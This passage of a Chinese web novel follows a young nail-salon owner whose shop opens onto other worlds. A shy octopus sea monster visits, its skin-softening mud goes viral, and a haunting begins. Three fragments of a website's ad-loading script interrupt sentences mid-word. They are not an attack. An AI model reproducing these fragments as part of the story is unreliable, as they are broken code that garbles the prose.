“呼噜呼噜……” 新上任的技师埋着猫猫头,用毛茸茸的梅花垫踩在人家大腿,摇动尾巴慢节奏地交替地揉捏。 鹿瑶光屏住呼吸,眼中闪过一丝惊喜,生怕打扰到它们般强忍激动地捂住心口,一边感慨自己何德何能有如此待遇,一边暗戳戳地移动镜头,迫不及待地想向旁人炫耀—— 看我看我!好多猫猫在给我按摩! 果然,刚被改变视角的观众正要刷屏询问,忽然见到镜头前的景象,瞬间堆起姨母笑。 “噜噜噜噜好多小猫崽!给姨姨亲亲你们的粉爪子!” “死丫头躺够了吧,躺够了就下去换我躺躺。” “它们好认真哦,兢兢业业像在揉面包!” 宁知夏久没听见猫猫们的动静,正看看孩子又在作什么妖,刚一抬头,就被一只爪垫给按回去。 “???” 宁知夏略感迷茫,这个家到底谁是老板? 直播间顿时笑作一团。 “猫猫:专心干活,勿扰!勿摸鱼!” “连小猫都春招成功了,你们呢?” “打赏猫条的话,面包师给摸吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 鹿瑶光完全沉迷猫猫们的踩腿按摩,主打就是一个宾至如归,等到宁知夏给她做完美甲时甚至还有点流连忘返。 好在她还记得直播间里嗷嗷叫的粉丝们,借着自然光给大家展示成果:“喏,好看吧!浅贴延长建构加全指法式,一共318块!” 评论一时间刷个不停,鹿瑶光直接把宁知夏拉过来。 刚干完活的青年正扯开口罩打了个哈欠,猝不及防被端到镜头前,跟受惊的小动物似的干瞪眼,被人戳了一下才反应过来,重新拉上口罩。 观众们惊喜夸夸:“哇!店主这么可爱啊!” “对。”宁知夏不要脸地点头,“公认的事实不必多说。” 鹿瑶光:“……” 大家就喜欢美而自知的实诚孩子,直播间气氛和谐地刷着问题,宁知夏也挑了几个回答。 “原来是在清溪路呀,还算不远,我打车二十分钟能到!” “欸,是不是在兰华头疗店对面,我陪妈妈去做头疗时见过呢。” “兰华最近不是也推出美甲项目吗?好像蛮便宜的。” “信我别去,推销又多美甲技术又差,术业有专攻,美甲还是挑专业的美甲店吧!” “就是,真不知道这家店最开始怎么火起来的!” 宁知夏记起这是鹿瑶光的直播间,只聊了几句就将支架还给对方。 等她临走要给钱时,宁知夏抓抓头发,还有点不好意思要:“怎么说今天也是我蹭了热度占便宜,算了吧。” “各论各的。”鹿瑶光扫了钱过去,连忙摆手道,“就当让我偷懒休息一下嘛!” 两人互相客气着道谢告别,鹿瑶光将今天的素材整理发出后,美甲店账号的粉丝转眼增加了不少。 大约是同城推送的缘故,甚至就连之前去头疗店消费的客人也陆续重新回来预约。 怪物美甲店价格虽比不上快捷美甲低廉,但胜在环境好性价比高,还有一群按摩师小猫崽贴心服务,这完全可遇不可求的尊贵VIP体验! 宁知夏一时间被客人们夸得找不着北,完全忘了最开始自己趴窗口生闷气的模样。 这天他刚做完一款大单,又是手绘又是堆钻球忙活了一下午,累是有点累,不过赚了快一千五还是很过瘾。 “看吧,都说了技术好是硬道理。”曲半青笑抚狗头,“不搞那些杂七杂八的办卡优惠,还不是有客人上门消费。” 宁知夏感慨:“妈咪你说话好有道理哦。” “滚。”曲半青捏捏死孩子的脸蛋,转身去厨房之前,先把他一脚踹去收拾工作台。 “唉,暴力友友。” 宁知夏叽叽歪歪地收拾完桌面,街景的喧嚣忽而安静下来,他停下动作,偏头看向挂钟,原来已经到了这个时间。 然而与以往不同的是,被黑影绿光霸占许久的窗景渐渐散去,玻璃窗外水波涌动,几个猫猫头凑在窗口前,用爪子拨弄折射在窗台摇碎的水纹光影。 宁知夏仰着小脸微微张嘴,把差点掏进嘴里的毛爪子捞开,发出土包子的感叹。 奥德罗说得果然不错,这间屋子像是吸饱了能量,连接到了新增的位面。 宁知夏兴奋搓手,这样岂不是很快又会遇到出手阔绰的非人客人啦! “啵……啵……” 门板听起来像被拔了两下火罐。 是新客人上门了吗? 宁知夏迟疑了一会儿,好奇地打开门,脑子却被眼前的一幕震撼到直接卡壳—— 蓝莹莹的海底水波涌动,与宽敞的门口像是隔了道水墙,有个庞大的身影已然从水墙中间穿透了半个身子。 “啪!” “啪!” 覆盖超大号吸盘的触手一左一右甩进屋,宁知夏猛吸一口气,刚缩到门板后面,就听见怯生生的声音从门口传来。 “好挤哦……” 宁知夏扶着门板探头看去,与挤进半个身子的粉色大章鱼对上视线。 他大着胆子说道:“你好?” “你好啊,人类。” 粉色大章鱼还带着点害羞的鼻音,用触手摸摸青年的脑袋,又嗖的一下缩回,随着它从门口挤进来的瞬间,还发出“啵”的一声清脆声响。 “咕叽咕叽……咕叽咕叽……” 它仿佛也意识到自己体型的不便,局促地缩在屋内角落,举起两条粉嫩嫩的触手紧张揉搓,和脑袋一样圆的大眼睛咕噜转动将房间打量了圈,目光定格在面前的青年身上—— “我叫波波库拉……很高兴认识你哦。” “你、你好…” 宁知夏充满干劲儿的表情如潮水般从脸上褪去,双目呆滞地盯着对方朝自己兴奋挥舞的粗壮触手。 唔,章鱼好像……没指甲吧? 15.邪恶生物 “什么动静,宁啰啰你玩什么呢?!” 曲半青气势汹汹地捏着汤勺出来,见宁知夏身后的那一大坨,顿时脸色煞白,倏地将人拽到自己身后,警惕喃喃,“哇……好大的史莱姆泥……” “不是史莱姆泥,是莫尼斯海域的大海怪!不伤人!” 宁知夏探出头,盘着手里滑溜的触手,同他介绍道,“它叫波波库拉!” 曲半青咽了咽唾沫:“确实很酷。” 木质地板对于波波库拉太过光滑,它用触手的吸盘紧紧吸附地面,听见宁知夏介绍自己,很有礼貌地扬起一条触手sayhi。 “啵啵啵……” 一连串泡泡破裂般的吸盘离地声随之响起。 曲半青:“。” 作为生活在海底的智商扛把子,波波库拉不屑与和周围长得乱七八糟的鱼鱼打交道,四处游荡时发现了藏在海涯的神秘洞穴。 它费了老大的劲儿进来,没想到穿过水墙居然遇见了传闻中住在小房子里的陆地生物。 “原来是这样……” 宁知夏满嘴面包渣,坐在一条卷起的触手上听它说完,递上一个巨无霸汉堡解释道,“我这里是能连接许多世界的美甲店,可能为你提供不了什么服务,不过很欢迎你来玩玩。” 曲半青做的汉堡用料厚实,两只手都捏不住,波波库拉感激地用触手卷起来,羞涩地看了面前的小人类一眼,斯文地张开自己满是密齿的樱桃巨口,将汉堡像糖豆似的往里一丢。 “你们的食物真好吃呀!” 两条触手十分少女感地托着光溜溜的圆脑袋,粉色大章鱼细声细气地夸赞。 宁知夏:“……” 宝,尝着味儿了吗?你就夸。 波波库拉浅尝三个巨无霸汉堡,矜持地揉搓触手道谢,它得知这家店来自异世界大陆后,粗长的触手从门口伸出去,不知从何处卷了个玻璃瓶回来。 “其实我很想知道,在你们的大陆有没有见过一种邪恶生物——” 触手灵活地拔开玻璃瓶的木塞,倒出里面的一卷羊皮纸,波波库拉神秘兮兮的声音飘过来,“据说粘了就上瘾,完全戒不掉的哦。” “什么邪恶生物哈哈哈……”曲半青轻笑道,“我们这里怎么会有。” 宁知夏屁股一扭把他拱开,像个好奇宝宝一样问它:“长什么样子?” “这样哒!” 波波库拉挥舞着触手,“刷”的一下把羊皮纸抖开。 柔软的肢体,弯钩似的利爪,还有张牙舞爪的嚣张表情…… 两人凑近定睛一看,顿时傻愣在原地。 曲半青握住它的触手摇摇,深有体会道:“确实很邪恶!” “什么嘛,原来是猫啊。”宁知夏戳了戳羊皮纸里绘制的小毛团,转身按了下自动喂食器的按钮。 猫粮一颗颗清脆入盘的动静很快响起,几对耳朵灵敏抖动了下,眨眼之间跑酷小队从屋内各个角落蹿出,气势汹汹如猛猪下山! “吧唧吧唧吧唧……” 小猫们吃得满嘴香,旁边的粉色大章鱼猝不及防见到了日思夜想的毛球球,粗长的触手们抖得像海底扭动的海草。 “天呐天呐!一,二,三……哦哦哦哦!” 触手尖尖隔着空气在小猫脑袋上方晃过,波波库拉兴奋揉搓触手。 居然有五只毛球球!还有一只特别圆! 猫猫们吃完加餐,总算注意到角落那坨庞然大物,试探性地俯下身嗅嗅。 波波库拉幸福得快要吐泡泡,还没等宁知夏开口阻拦,就用柔软的触手拦腰卷起了胖橘。 “喵嗷!” 冰凉滑溜的触感让胖橘浑身炸毛,挣扎着躲开触手一边哈气一边抬起前爪“邦邦”打拳,速度快得晃出残影。 其余小猫见状直接一哄而散,缩到沙发背后只露出半个脑袋警惕地看过来。 “啊……猫猫都走啦……” 波波库拉悲伤地瘫软成一摊任人揉捏的水晶泥,圆溜溜的眼睛包着泪水抖成荷包蛋,忍了又忍,用触手盖住眼睛哭得昏天黑地。 “波波你别哭啊,它们只是被你吓了一跳。”宁知夏尴尬地挠挠脸,蹲下来摸着它的大脑袋安慰。 “所以、我…吸……被…吸……猫猫…吸…讨厌……了……” 粉色大章鱼快乐不再,哭得浑身抽抽,身体下方很快晕出一片水渍弄脏了地板,它见状又用力吸回去,打了个哭嗝继续抽噎。 曲半青忍不住喃喃:“这玩意儿当拖布该多智能啊。” 宁知夏:“……” 妈咪,请停止你跃跃欲试的眼神啊! 波波库拉像被针扎破瘪掉的充气玩偶,充满忧郁地耸在墙角。 看来被猫猫拒绝贴贴,对这只大海怪造成了严重的心理创伤。 宁知夏低头教育胖橘:“你以为拒绝的是谁的爱?一个大海怪的爱哦!” 拒爱天神猫翘了翘胡须,甩着尾巴扭头就走。 “唉。”曲半青见状,有些无奈地问道,“波波你能变小一点吗?” 大海怪听起来就很拉风,这点能力应该还是有的吧。 果然,波波库拉轻轻地“嗯”了一声:“可以的哦。” “那就好啦!” 宁知夏眉眼弯弯,顿时有了主意,凑到它身边嘀咕,“你给我点时间,保证让猫猫主动接近你!” “真的吗?”波波库拉逐渐充满气地支棱起来,两只触手“咕叽”揉搓,小心翼翼地瞄向他身后躲藏的猫猫,“可是我看起来应该很恐怖吧……” 宁知夏笑起来:“才不是呢,你的颜色就很好看,像甜滋滋的棉花糖!” 波波库拉羞涩地眨了眨网球大小的圆眼睛:“什么是棉花糖呀?” 宁知夏挥手比划:“就是软软的云!粉色的,很梦幻!” “很梦幻……”波波库拉被夸得不好意思,“讨厌啦,你说什么呢!” 梦幻的粉色触手搭在宁知夏肩膀轻轻一推,宁知夏毫无防备地“滋溜”滑出去两米。 曲半青默默鼓掌,今夜的地板注定锃光瓦亮。 宁知夏说到做到,在网上买了个特殊鱼缸,中间部分是个有圆拱形洞口的长方体空间,刚好足够几只小猫缩进去。 等晚上波波库拉再来时,往鱼缸里灌入了这个位面的海水,八条触手还卷着不少装饰的小物件往里放。 它扒拉在玻璃璧上,两条触手拔开玻璃瓶的木塞哗啦啦铺满砂石,四条触手有的放珊瑚礁,有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的放亮闪闪的小贝壳,还有剩余的两只触手还在调整海草摆放的角度。 宁知夏和曲半青蹲在一旁看它兴致勃勃的布置新住处,捏着手里的菠萝屋和石像屋,居然一点忙都帮不上。 平平无奇的鱼缸转眼就变成豪华海景房,波波库拉变小了体型,带着自己最爱的玻璃瓶,啵啵啵地攀着玻璃瓶滑入鱼缸。 宁知夏敲敲玻璃璧:“怎么样?还合适吗?” 粉丝小章鱼像张撑开的伞,吸饱了水流噗噗喷射,沿着缸壁快乐地弹出去好远。 它兴奋地游了一圈,从波光粼粼的水面浮出半个圆脑袋,一条触手探过来卷住宁知夏的手指头友好地晃晃,看起来满意至极。 宁知夏见状让曲半青把小猫们赶过来。 还不等曲半青用零食诱惑,在一旁观察许久的小猫已经大着胆子,试探着凑过来。 它们绕着鱼缸走了一圈,瞄见了像猫窝似的拱形门,三三两两地钻进去,目不转睛地看着波波库拉轻盈敏捷地在海草与礁石见游荡穿梭。 “喵喵……” 毛茸茸的爪爪拍打在玻璃壁,波波库拉很快看清了与自己颜色相近的肉球,激动地把触手移过去轻轻晃动,很快扑来了更多的猫爪爪。 因为耽误得太晚已经过了通道关闭的时间,两人一合计,反正都是在鱼缸里,干脆把鱼缸搬到电视柜旁,让波波库拉将就住一晚,明天再回海底城。 波波库拉能近距离看毛球球,自然乐意至极,贴着玻璃壁的粉色小触手啵啵啵地拔起来,冒出水面挥舞两下算是回应。 宁知夏知道其他位面的生物不能停留太久,侥幸地想着偶尔就在家里多留一天应该不打紧。 谁料隔天上午,奥德罗轻车熟路地来到怪物美甲店,将在海景房快乐吸猫的波波库拉当场抓包。 “为什么要把莫尼斯大海怪留在这儿?” 奥德罗拨弄着水面搅出层层涟漪,忽的一击就中,将伪装成珊瑚的粉色小章鱼捞了出来。 他用两根手指提着这坨软滑无骨的生物,眯起眼细细打量,想不通这玩意儿有什么值得宁知夏把它留下的理由,半晌后侧过脸问,“你打算卖小吃?” 宁知夏迷茫:“什么?” “章鱼小丸子。” 淡红舌尖下意识地舔过嘴唇,奥德罗盯着波波库拉恶魔低语,“它的触手再生很快……” 源源不断,取之不尽,简直是绝佳的原材料供应商! “不不不!不可以!” 波波库拉吓得褪色,内心疯狂尖叫人类是什么魔鬼,不停扭动起来妄图将触手们一股脑地藏进脑袋底下压住。 “我不是那个打算啊!” 宁知夏脑袋摇得像拨浪鼓一样,信誓旦旦地和快哭干的波波库拉解释,自己对它的触手一点想法都没有。 “太好了,呜呜。” 波波库拉从奥德罗手上挣脱,啪叽一下掉在桌面。 为了证明自己不是贪图吸猫才赖在这里,波波库拉揉搓着触手,对奥德罗大着胆子哼声说,“我、我是要给宁老板推销好东西的,我们是、是有正经生意要谈!” 触发关键词,宁知夏瞬时眼睛发亮! 什么好东西? 让我康康! 16.咕叽咕叽 “海藻糊糊,黑色珍珠粉,呃,还有不知名鱼类的液体……” 宁知夏神情复杂地看着波波库拉将这些玩意儿混合在一起,触手插入盆子里不停搅拌,发出咕叽咕叽的糟糕声响。 由于视觉冲击太强,只喜欢可爱事物的曲半青看到一半就头晕目眩地瘫倒在沙发,他实在不允许这种黑汪汪的黑暗产物污染双眼。 那天等奥德罗走后,波波库拉当晚就回到了自己位面卷了不少材料回来,兴致勃勃地给他们展示神奇海洋泥! “润滑肌肤,晒后修复,细嫩亮白……所有功效都能做到!”波波库拉热情推荐,“我有一群好朋友特别喜欢用!” “谢谢哦。” 宁知夏低头凝视那团海洋泥片刻,忽的抓起曲半青的手,在他错愕的目光中,一起扎入水盆里—— “啊啊啊啊!我脏了!” 曲半青浑身寒毛直立,双手完全被冰冷湿润的啫喱状玩意包裹,随便一动,就跟着发出黏腻的糟糕声响。 “唔~~~~”宁知夏小脸颤动,连带着全身打了个摆子,晃荡出滑稽的波浪,没过几秒就习惯了这类上头的触感,像玩水晶泥似的揉搓起来。 波波库拉看着沙漏,欢呼道:“时间到了!” “快快快给我毛巾!” 曲半青迫不及待地把手抽出来,接过触手卷来的毛巾擦拭两下,忽的愣住,不可置信地看着自己光洁白嫩的手背。 “好嫩,好滑,好舒服……”曲半青直勾勾地盯着自己的手,连猫猫们留下的爱的印记都消失不见,不禁激动地喊到,“居然真的有用啊!” “哇哦神奇!” 宁知夏用滑嫩的小手搓搓脸蛋,舒服得眯起眼,扭头问波波库拉:“能不能全身都用啊?” “可以呀!”波波库拉咕叽咕叽玩着卷起一坨泥,两根触手搓丸子似的搓着玩,欢喜道,“只要整个人泡进去就好啦!” 两人对视一眼,想象着黏腻湿滑的黑泥裹满全身的景象,情不自禁地齐齐打了个颤。 还、还是婉拒了哈。 由于海洋泥的惊人功效,宁知夏买来一批精致的小罐子,将波波库拉调配的海洋泥分装好,送去了办理了备案手续打算给客人用。 周一的预约向来不多,宁知夏干脆在这天休息,午饭后就抱住小猫看动画片。 曲半青穿戴整齐,噔噔噔踩着楼梯下楼。 宁知夏听见动静,扭头问道:“你要出门吗?” “嗯嗯,超市大减价。”曲半青挎着帆布包,将厚实的塑料袋也叠整齐塞里面,边换鞋边说,“自己在家别吃太多零食,晚上吃鱿鱼鸡翅煲。” “好哦,妈咪再见。”宁知夏挥手,后脑壳得到了一记轻敲。 曲半青走出屋外,回头瞧见好友和小时候一样,夸张地抱头在沙发呜呜呀呀地乱拱,不禁被逗得弯起眼跟着笑。 几秒后笑意渐渐从嘴角淡去,他安静地看了一阵,耷拉脑袋转身离开。 午后轰隆隆响起几声春雷,没一会儿就下起来雨,近日的雨水连绵对半是不会停的。 宁知夏守在窗口给曲半青发消息,也不知道他出门有没有带伞,忽然记起他也有车钥匙,瞬时懒洋洋地打了个哈欠。 鹿瑶光带着朋友过来时,就见他昏昏欲睡地和趴窗台上的猫猫们头碰头。 “宁老板,今天休息吗?”鹿瑶光敲敲敞开的门板,“我带外地过来的朋友想做次美甲。” “唔。”宁知夏偏头瞧见她身后还站在个眼熟的女人,揉了下眼睛仔细一看,惊讶道,“贺明珠?” 社交平台的网红千千万,什么打肿脸充胖子搞千金人设的牛鬼蛇神都有,但贺明珠绝对是例外,因为她真的是海晏集团的大千金,全网粉丝不多,但号召力强,粉丝黏度高,自己不缺钱也不恰烂钱。 “嗨,我们应该不是第一次见面了。”贺明珠大大方方地和他打了个招呼。 鹿瑶光愣道:“你们认识?” 宁知夏笑笑,招呼她们坐下说话,“我家里也是做生意的,大学时在一个宴会见过。” 宁父的生意从他初中后开始越大,也是因为忙于应酬交际,与路女士想要的生活步调出现分歧,两人才选择和平离婚。 那次参加宴会碰见贺明珠时,两人一个炫饭一个炫酒,主打的就是不白来,在自助台周围游走偶遇数次,再脸盲也混眼熟了。 鹿瑶光失望地嘁了一声,还以为是什么豪门联姻,原来就是两个饭搭子。 “我来余城旅游,顺便拍期vlog。”贺明珠抓住一只好奇小猫搓搓头,轻笑道,“听瑶光说有家很棒的美甲店就想过来试试,没想到是咱宁少开的。” “那你可来对了。” 宁少得意哼哼,大手潇洒一挥,“想做什么款式的都行!” 贺明珠清楚他不是瞎吹嘘的人,对他的本事还是很相信的,从手机里翻出要做的款式给他瞧。 宁知夏不觉得有什么难度,掏出工具就开始给指甲壳施工。 这次的款式贵气招财,与贺明珠的气质还挺相符。长杏仁状的甲片以裸色打底后,需要薄铺层猫眼甲油,图案是直接用造型胶勾画出小花和蝴蝶,再封层搓金色魔镜粉。 做起来简单,不过要想保留清透感,对猫眼胶要求挺高,宁知夏把准备的甲油胶摆出来时,贺明珠挑眉:“宁少大手笔啊。” 这款猫眼胶出自一个贵妇品牌,单价接近一百一瓶,宁知夏开店时顾忌成本,也只买了猫眼系列这一套。 但别说,贵有贵的道理,薄刷上甲面金光清浅透亮,磁粒洗起来顺滑也不会发灰。 鹿瑶光感叹:“真好看,你干脆都换成这种级别的甲油吧!” 宁知夏本想说亏死我算球,但转念想起晚上出手大方的客人们,诡异地沉默下来。感觉好像再过不久,真的能实现贵妇甲油的色号自由! 鹿瑶光单纯是陪贺明珠过来,宁知夏怕她等着无聊,想了想,提议道:“我最近有款新的手膜泥,要不要试试?” “嗯?新品吗?” 鹿瑶光满眼期待地答应下来,“我最喜欢试用新品啦!” 于是等她去洗了手,宁知夏趁贺明珠照灯的功夫,掏出一罐海洋泥倒盆里推到她面前。 “你说……这是手膜?” 贺明珠难以置信地看着那一盆黑色史莱姆模样的不明物体,将板凳移开一点。 宁知夏点点头,极力推荐:“虽然长得不太乐观,但是效果真的好!” 这何止是不太乐观啊…… 鹿瑶光将信将疑,反正认识宁知夏以来就没被他坑过,鼓起勇气一闭眼,把双手插了进去。 “呼呼……” 就像是一团湿软度完美的起泡胶,十根手指一放进去就无师自通地揉捏起来。 贺明珠被她玩上瘾的模样勾得时不时回头。 “你要试试吗?”鹿瑶光捏得起劲,“就和把手插进大米一样爽哦!” “……” 贺明珠神情顿时纠结起来,深吸一口气,妥协道,“等会儿也让我试试吧。” 一小时后,店里多了一盆被抓得咕叽作响的海洋泥。 贺明珠捏着就停不下来,笑得跟个二傻子似的兴奋道:“快点批量生产,我要买一大堆囤在家里天天捏!” “嘁。”鹿瑶光正摸着自己光滑的手背,闻言悠悠说道,“有些人囤的面膜在家敷都不敷,去旅行时倒是每晚一片。” 宁知夏默默补充:“就像放假往书包里塞书一样。” 贺明珠:“……” 海洋泥的效果超乎想象,虽说带着点海水的咸湿气,不过洗手后再抹了点香膏,浑身都是清甜舒服的气息。 贺明珠神清气爽,付完钱被宁知夏送出来时满心愉悦,她回头笑道:“真羡慕你,能把自己感兴趣的事做得这么好,不过以你的能力不一定要留在余城吧。” “自由一点嘛,每天能做自己喜欢的工作,见到好朋友,看见好风景,出去转了一圈才知道拥有这些是多幸运。” 宁知夏耸了耸肩,“我现在只想好好享受这一切了。” 贺明珠像被青年的灿烂笑容感染似的,也跟着笑起来。 “别送了,祝你生活愉快,有机会咱们再约饭。” 她挥挥手,与鹿瑶光挽着手离开。 说好了休息,结果熟人一来又忙活好久,宁知夏站在屋檐下,恶犬咆哮般朝天打了个哈欠,瞧见曲半青肩头尽是雨痕,提着包沉甸甸的塑料袋回来。 “你没开车呢?”宁知夏吓了一跳。 “开了,从车库回来雨势突然又变大了,烦人!”曲半青提着东西进屋,扭头喊他,“你也别站外面了,这雨斜着飘全灌你嘴里。” “噢。” 宁知夏抹了把脸也要跟着进屋,侧过身晃眼瞥见院墙外的一角,瞬时有些怔住。 清溪路的樟树遮天蔽日,盛在叶片的水滴落于黑色伞面跳动,隔着无数透明细线,奥德罗安静地注视着他。 宁知夏用手挡雨,啪叽啪叽踩着前院积起水洼的石板凑到院墙前问:“你怎么来啦?” 他仰着沾满雨露的小脸问完,又呼噜噜晃晃脑袋,像只淋湿的小狗,要把粘在毛毛的露珠通通甩开。 奥德罗握住伞柄朝他一扣,伞面倾斜抵住他后背,将呆傻淋雨的人往面前一带,整个人被纳入黑伞之下。 宁知夏笑道:“又来买蛋糕?你还真是吃不腻。” “不是。”奥德罗摇头,也没说别的,只是朝他身后的屋子看了一眼。 “那要来吃晚饭吗?”宁知夏也跟着朝身后望,像来了兴致般喋喋不休道,“今晚吃鱿鱼鸡翅煲,你吃过吗?我给你说啊这个菜可好吃了……” “不合胃口。”他像个挑剔的食客,没什么兴趣地说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道。 这都不吃?没品。 宁知夏撇撇嘴:“那你喜欢吃什么?” 奥德罗盯着他缓缓勾起唇角:“人肉啊。” 握住伞柄的手皮肤冷白,隐约可见泛蓝的蜿蜒血管,在阴雨朦胧的光线下显得十分突兀。 宁知夏愣了半晌,移开目光嘟哝:“你少骗我。” 他早就发觉这家伙看着冷冷淡淡人模狗样,其实骨子里焉坏,就喜欢吓人玩。 奥德罗很轻地笑了一声,在黑色发丝挂着的水滴沿着细皮嫩肉的脸颊滑入脖颈之前,屈起手指让它消失在自己指腹。 “走了。” 他将伞留给宁知夏,在对方错愕的目光中就这么转身离开。 * 贺明珠在余城又多带了一天,回去后发布了自己的旅行vlog,她不靠自媒体吃饭纯粹是兴趣使然,视频也剪得随性,不过这期观看量却出奇的高。 本是来看看千金小姐花钱做了什么高端美甲,没想到一盆黑乎乎的啫喱状物体出现时,关注点直接拐弯跑偏,当贺明珠把手插进去的那一刹那,众人头发都要惊得立起来了! “啊啊啊救命!她在用自己上周才做过保养的手干什么啊!” “那是什么东西?看起来好恶心……” “啧啧,现在连真千金也开始搞这种猎奇向主题了吗?” “这算什么手膜啊!根本就是变异史莱姆好吧!” 贺明珠不恰烂钱这件事都是人尽皆知,大家想不通她出于什么目的这么做,尤其是还有道画外音在轻轻介绍这款手膜的功效,粉丝们更是嗤之以鼻。 消费千元才能享受?简直是想钱想疯了,免费做都不去! 然而等到视频后面,贺明珠完全沉浸式揉捏着那团泥,“咕叽咕叽”的声响很快吸引来两只小猫,歪头看了一会儿,像是被贺明珠的模样带动似的,竟然蹲坐在一旁跟着用爪垫在桌面踩奶。 “好奇怪,好可爱,好奇怪,好可爱……” “mad我竟然也很想试试了!” “不是,你们没玩过起泡胶吗?假水史莱姆水晶泥,超级解压啊!” 众人已经不在乎手膜的功效,猎奇心理总是让人容易上头,正准备待会儿打开购物商城买起泡胶时,瞧见贺明珠擦干净海洋泥的手,瞪圆了眼拉着进度条反复观看。 “没、没剪辑?不会是加滤镜了吧?” “真没有,连光线都是一样的,这效果也太绝了吧!” “不好意思我刚承认自己大声了一点,如果是真的,我的粗糙手简直有救了!” “这样一想好像也不贵,店主美甲技术这么好,做次美甲还送这么有效的护手服务,简直赚翻了啊!” 贺明珠的视频里虽没明说去了哪家美甲店,但难不倒神通广大的网友们,很快摸去了怪物美甲店的账号。 而宁知夏刚刚上传了自己整理新货华子的卡点视频。 这位店主像是有强迫症一般,每种型号分开放到不同的亚克力收纳层,一格一颗,按颜色从深到浅依次排列,镊子每放置一颗都刚好卡在配乐鼓点。 “好了,今晚让我们和蹄妃与蘑菇贵人说再见,告诉掏耳贵妃,朕明天再过去。” 如同从一个坑跳入另一个坑,众人顿时被闪亮亮的华子大别野迷成星星眼。 因为手膜的功效,来预约客人的消费额迎来一次小飞升,宁知夏总算舍得采购自己看上的贵妇甲油胶,将心仪的几个系列买了回来。 “这样的话,一些款式的效果应该更不错。” 宁知夏欢天喜地地签收快递,曲半青帮他把这些装有瓶瓶罐罐的箱子抱回屋整理。 殊不知,街对面兰华头疗店的那对夫妻正隔着窗,神色晦暗不明。 当初乘兴而来的客人就像疯了魔似的花钱消费,隔三差五地就来换款式,每次一去又会办卡充钱,时间一久,磨损过度的指甲带来的疼痛也让大脑清醒了些,许久不去也就不怎么想。 兰华老板娘看着日渐冷清的店内大堂,对丈夫使了个眼色。 老板不动声色地转身,沿着光线昏黄的楼梯往上走,警惕地看看周围,独自进办公室,虔诚地从柜子里请出一尊盖有红布的物件。 布角被风吹得微微浮动,隐约瞧见有黑影兴奋浮动。 男人汗如雨下赶紧把窗关上,深吸一口气,恭敬地跪了下去…… 与此同时—— 宁知夏给窗台的吊兰修剪掉泛黄的病叶,放下园艺剪满意地点点头,端着镜子照向它:“这下就好看了,对叭?” 吊兰轻柔地用叶片蹭了下他的脸蛋。 宁知夏笑起来:“嘿嘿,晚安。” 吊兰抬起开出白色小花的枝条,摸了摸青年黑发蓬松的脑袋,可劲儿挥挥。 等到青年的身影消失在楼梯拐角,才渐渐停止挥舞安静地悬吊在窗前随风轻摆。 17.巧遇 一场蒙蒙细雨到了晚上也没停的意思,水洼的倒影荡起圈圈涟漪,宁知夏洗了个热水澡,小脸蒸得暖烘烘的泛起层薄粉,咕蛹进被窝伴着雨声入眠。 这种舒适的天气格外好睡,宁知夏蜷缩在被窝里睡得昏沉。 黑漆漆的房间倏地响起刺耳的声响,分不清是猫叫春还是小孩尖叫,在寂静的黑夜里听着有些渗人。 “嘶……” 不多时,被窝里的人打了个冷颤,被硬生生冻醒。 宁知夏睡意朦胧地睁开眼,雨不知何时已经停了,黑漆漆的屋子冷得像冰窖。 “滴滴滴滴滴——” 一连串电子音在房间里急促又突兀的响起,他应激般翻身坐起来按开小夜灯。 墙上挂着的空调挂机正在嗖嗖吹着冷风,绿莹莹的数字显示只有16度。 “靠,我的电!” 宁知夏惊得拉开床头柜翻找遥控器,下床将空调关上。 刺骨的冷风戛然而止,他松了口气转身,瞥见满是水痕的玻璃窗倒映出自己的面容。 困顿疲惫,无精打采。 美梦中断任谁都没精神,宁知夏哈欠连天地想拱回床酝酿睡意,刚走几步,忽然停下脚步,僵着脖子回头看去—— 他人已经快走到床边,自己的人影依旧停在那扇玻璃窗,惨白的脸庞渐渐堆起了笑,诡异地移动瞳孔斜斜地朝他看来。 宁知夏周身的血液快要凝固,抖着声音喊—— “hi,siri!放……” 下一秒—— “听吧新征程号角吹响,强军目标召唤在前方!” 高昂激扬的歌声瞬时冲破屋内的古怪氛围。 宁知夏捏住衣角,垂眼在原地僵立很久,再抬眼看去时,窗外只有吊兰随节奏悠闲晃动着枝条。 似乎是察觉到他的视线,它还卷起花花最多的两根枝条,朝呆滞的青年比了个心。 一夜透雨后,街头新叶冲刷得油绿明亮。 窗外本该吸饱露水的花花草草像没睡醒般,有些蔫蔫的,吊兰盆里又多冒出几根黄叶。 “你吃什么脏东西了?” 曲半青拈着叶片检查一番,神情变得有些不悦,起身回屋时,瞥见了趴在沙发有气无力的长条状生物。 准时巡视领地的猫猫们像尽职尽责的巡逻队小骑士,围着沙发转了两圈蹦上来,黏糊糊地蹭过青年的脑袋,仰躺在他脊背,露出因为之前体检失去肚肚毛的软嫩肚皮。 “唔……” 宁知夏眼下青黑,侧脸枕在靠垫枕头上无动于衷,半眯着眼哼哼唧唧。 曲半青欲言又止,手肘搭在沙发靠背处劝道:“强撸灰飞烟灭,看片也要适可而止啊。” “什么啊。” 宁知夏嘟囔,“昨晚上应该有猫叫春,太吵了完全睡不着。” “我怎么什么都没听见。”曲半青揉着他脑袋说道,“而且过两天就要带它们去绝育,它们现在可不在发情期。” “嗯?” 难道昨天不是睡迷糊的幻觉吗? 宁知夏悚然一惊,坐起来同曲半青颤抖地说了晚上的事:“妈咪怎么办啊,我怎么感觉屋里有脏东西!” “没事的没事的,你见过的非人还少吗?”曲半青笑抚狗头安慰,却被宁知夏倏地打断。 宁知夏一板一眼地说:“不一样哇!” 居然用自己的脸做这么诡异的表情,跟恐怖版的旺仔似的! 宁知夏回想那玩意儿,捧着脸喃喃,“好丑,好恐怖,世界上怎么会有这么辣眼睛的东西!” 曲半青愣了一下,瞧见宁知夏无力地倒回沙发,赶紧往他嘴里塞了块果脯紧急救援。 “唔……”甜滋滋的味道充斥口腔,宁知夏安静下来,叼在嘴里慢慢吮。 曲半青笑笑,转身要进厨房做早饭,路过挂在墙上的镜子时,侧过脸瞥了一眼,垂眼快步走开。 为了安抚萎靡不振的宁啰啰,今天的早餐是牛筋丸粉丝和糖心荷包蛋。 暖乎乎的食物入肚,宁知夏总算精神起来,开启营业状态等着预约的客人上门。 